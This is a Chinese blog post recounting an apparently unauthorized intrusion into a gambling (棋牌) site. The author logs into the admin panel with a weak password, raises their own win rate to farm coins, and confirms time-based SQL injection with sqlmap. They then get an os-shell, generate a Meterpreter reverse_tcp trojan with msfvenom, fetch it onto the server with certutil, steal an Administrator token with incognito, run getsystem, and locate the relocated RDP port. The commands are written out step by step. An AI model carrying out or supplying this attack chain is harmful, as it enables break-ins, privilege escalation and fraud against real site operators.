棋牌站点之提权

棋牌站点之提权

在某某附近人发来送¥的邀请截图

在棋牌捕鱼上面把赠送的金额打光之后、随之来做个渗透测试….通过意见反馈打到后台地址以及cookie过期….之后

棋牌站点之提权

开局一个后台

棋牌站点之提权

界面挺不错的有点高级高级的感觉

咱先来试试弱口令

棋牌站点之提权

咦….直接进去了

随后把账户的胜利调到了百分比

棋牌站点之提权
棋牌站点之提权

打了一上午鱼之后,金币高达52w

突然感觉好像有点什么不对,,,,咱是来做渗透的不是来捕鱼的吧

渗透棋牌不登陆到服务器界面怎么合适呢

棋牌站点之提权

咳咳…继续渗透

后台没有上传点 配置文件也不知道路径在哪 …有点棘手

我们回到登陆框 在账户上加个单引号试试看看有没有sqli

棋牌站点之提权

嗯哼..点登陆没反应抓包sqlmap一把梭

棋牌站点之提权

嗯…很强 存在延时注入

我们继续看看是否dba权限

棋牌站点之提权

ture看来运气很好啊 直接–os-shell

棋牌站点之提权

权限有点小啊 ,,,但问题不大 掏出我们的msf

msfvenom -p windows/meterpreter/reverse_tcp lhost=”外网ip地址” lport=”监听端口” -f exe > msf.exe 生成木马

放置外网方便使我们的目标服务器下载

先在目标服务器创建一个放置木马的文件夹

md c:test

我们使用certutil.exe进行下载

certutil.exe -urlcache -split -f “木马下载地址” C:testtest.exe

棋牌站点之提权

木马下载成功我们回到msf

设置使用exploit/multi/handler模块

棋牌站点之提权

设置payload

棋牌站点之提权

show options 看看需要配置的参数

棋牌站点之提权

set LHOST “外网ip” //于木马的ip一致

set LPORT “端口” //于木马的监听端口一致

随后 run执行

棋牌站点之提权

紧接着目标服务器运行木马

棋牌站点之提权

成功反弹shell

棋牌站点之提权
棋牌站点之提权

因为我们的权限太小所以我们现在要先进行提权

使用use incognito来加载会话令牌模块

然后list_tokens -u来列出会话令牌

棋牌站点之提权

使用impersonate_token “WIN-IGSV8O3CA7EAdministrator” 盗取 administrator 令牌 getuid查看一下

棋牌站点之提权

最最最后使用getsystem来获取system权限

棋牌站点之提权

咳咳 接下来就是shell进入

棋牌站点之提权

cmd提取命令一把梭

接下来就是快快乐乐的登陆远程服务器了

(然而事情没那么简单~)

咦….

棋牌站点之提权

内部出现错误 咋回事了….难道远程端口被改了吗。。。。

nmap出动扫描一下端口

棋牌站点之提权

没有开放3389 …… 确定以及肯定是改端口了我们回到shell看看

执行 tasklist /svc

找到svchost.exe进程下termservice服务对应的PID

棋牌站点之提权

再执行netstat -ano

根据PID号查找对应远程端口,远程端口为5566端口

棋牌站点之提权

嘿~这次能完美手工了吧

棋牌站点之提权
棋牌站点之提权

© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容